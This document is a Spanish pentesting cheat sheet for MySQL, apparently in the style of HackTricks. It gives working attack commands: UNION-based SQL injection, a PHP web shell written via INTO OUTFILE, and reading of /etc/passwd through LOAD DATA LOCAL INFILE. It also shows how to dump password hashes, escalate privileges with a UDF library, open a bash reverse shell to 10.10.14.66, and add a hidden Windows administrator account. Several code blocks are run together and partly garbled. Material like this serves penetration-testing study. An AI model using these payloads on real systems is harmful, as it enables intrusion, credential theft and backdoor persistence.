MySQL es el sistema de gestión de bases de datos relacional más extendido en la actualidad al estar basada en código abierto.
MySQL cuenta con una doble licencia. Por una parte es de código abierto, pero por otra, cuenta con una versión comercial gestionada por la compañía Oracle.
Trabaja con bases de datos relacionales, es decir, utiliza tablas múltiples que se interconectan entre sí para almacenar la información y organizarla correctamente, además, al ser basada en código abierto es fácilmente accesible.
Sus características más importantes son:
Arquitectura Cliente y Servidor
Utiliza lenguaje SQL
Vistas -> En bases de datos grandes, las vistas se convierten en un recurso fundamental. Desde MySQL 5.0 se pueden utilizar vistas personalizadas.
Procedimientos almacenados -> MySQL no procesa las tablas directamente sino que a través de procedimientos almacenados lo que mejora la eficacia.
mysql -u root # Se conecta a root sin contraseña.
mysql -u root -p # Se pedirá una contraseña para acceder.
Remoto
mysql -h <Hostname> -u root -p
mysql -h <Hostname> -u root@localhost
También se puede conectar a la Base de Datos incluyendo un documento de texto con los comandos SQL a realizar o marcando los comandos en la misma sintaxis:
mysql -u username -p < manycommands.sql # Un archivo con todos los comandos a ejecutar
mysql -u root -h 127.0.0.1 -e 'show databases;'
show databases;use<database>;show tables;describe <table_name>;show columns from<table>;select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privilegesselect user,file_priv from mysql.user where user='root'; #File privilegesselectversion(); #versionselect @@version(); #versionselect user(); #Userselectdatabase(); #databasename#Conseguir una shell con el usuario de MySQL\! sh#Basic MySQLiUnionSelect1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tablesUnionSelect1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"#Read & Write## Yo need FILE privilege toread & write to files.select load_file('/var/lib/mysql-files/key.txt'); #Readfileselect1,2,"<?php echo shell_exec($_GET['c']);?>",4into OUTFILE 'C:/xampp/htdocs/back.php'#Tryto change MySQL rootpasswordUPDATE mysql.user SETPassword=PASSWORD('MyNewPass') WHERE User='root';UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';FLUSH PRIVILEGES;quit;
EXPLOTACIÓN
Lectura arbitraria de archivos por cliente
Cuando intentas cargar archivos locales en una tabla, el servidor de MySQL o MariaDB hace que el contenido del archivo sea leido por el cliente y después enviado.
Por ese motivo, si eres capaz de iniciar un cliente MySQL y conectarlo a tu propio servidor MySQL, podrías leer archivos arbitrarios.
mysql -u <USER>-p --enable-local-infileloaddatalocal infile "/etc/passwd"intotable test FIELDS TERMINATED BY'\n';
Es importante utilizar el modificador local, ya que sino podemos obtener el siguiente error:
mysql>loaddata infile "/etc/passwd"intotable test FIELDS TERMINATED BY'\n';ERROR 1290 (HY000): The MySQL serveris running with the --secure-file-priv option so it cannot execute this statement
La explicación detallada de la vulnerabilidad aquí.
POST-EXPLOTACIÓN
Comprobar el usuario de MySQL
Es muy interesante comprobar, después del acceso inicial a un objetivo, si el usuario root es el que maneja MySQL por que se puede utilizar para escalar privilegios.
marca la IP en la que mantenerse a la escucha para conexiones TCP/IP en la interfaz de administración
debug
Esta variable indica los ajustes de debug.
sql_warnings
Esta variable controla si las consultas INSERT de una sola linea generan un aviso en caso necesario (Puede implicar la existencia de información crítica en los Logs).
secure_file_priv
Esta variable controla los privilegios en las acciones de importación y exportación.
Escalada de privilegios
Cheatsheet
# Conseguir los privilegios y los hashes de todos los usuarios.
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# One-liner para conseguir los credenciales.
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Crear un usuario y darle privilegios (dependiendo de los privilegios que tengamos nosotros).
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Conseguir una shell. Muy util para sudo/suid privesc)
\! sh
Escalada de Privilegios vía Librería UDF
Si el servidor MySQL está corriendo como root (u otro usuario con más privilegios que tú) puedes hacer que ejecute comandos. Para ello necesitas funciones definidas por el usuario o User Defined Functions. Y para crear una de esas funciones necesitas una librería para el Sistema Operativo que está corriendo MySQL.
La librería maliciosa se encuentra dentro de sqlmap o metasploit. Podemos utilizar el comando locate "*lib_mysqludf_sys*" para encontrarla. El archivo .so es la librería de Linux y el archivo .dll es la versión de Windows.
Si no tiene las librerías, puede buscarlas o descargarlas de aquí y compilarlas en la máquina LINUX vulnerable (no está para Windows)
Ahora que ya tenemos ubicada nuestra librería, nos conectamos al servidor MySQL como root y realizamos los siguiente:
Linux
# Use a databaseuse mysql;# Create a tabletoload the library andmove it to the plugins dircreatetablenpn(line blob);# Load the binary library inside the table## You might need to change the pathandfilenameinsert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));# Get the plugin_dir pathshow variables like'%plugin%';# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/# dumpin there the libraryselect*from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';# Create a functiontoexecute commandscreatefunctionsys_execreturnsinteger soname 'lib_mysqludf_sys.so';# Execute commandsselect sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Windows
# CHech the linux comments for more indicationsUSE mysql;CREATETABLEnpn(line blob);INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));show variables like'%plugin%';SELECT*FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';CREATEFUNCTIONsys_execRETURNSinteger SONAME 'lib_mysqludf_sys_32.dll';SELECT sys_exec("net user npn npn12345678 /add");SELECT sys_exec("net localgroup Administrators npn /add");
Extraer credenciales de MySQL de otros archivos
/etc/mysql/debian.cnf
Dentro del mismo podemos encontrar credenciales en texto claro del usuario debian-sys-maint y estos credenciales se pueden utilizar para loguearse en MySQL.
/var/lib/mysql/mysql/user.MYD
Se pueden encontrar todos los hashes que se pueden extraer de mysql.user.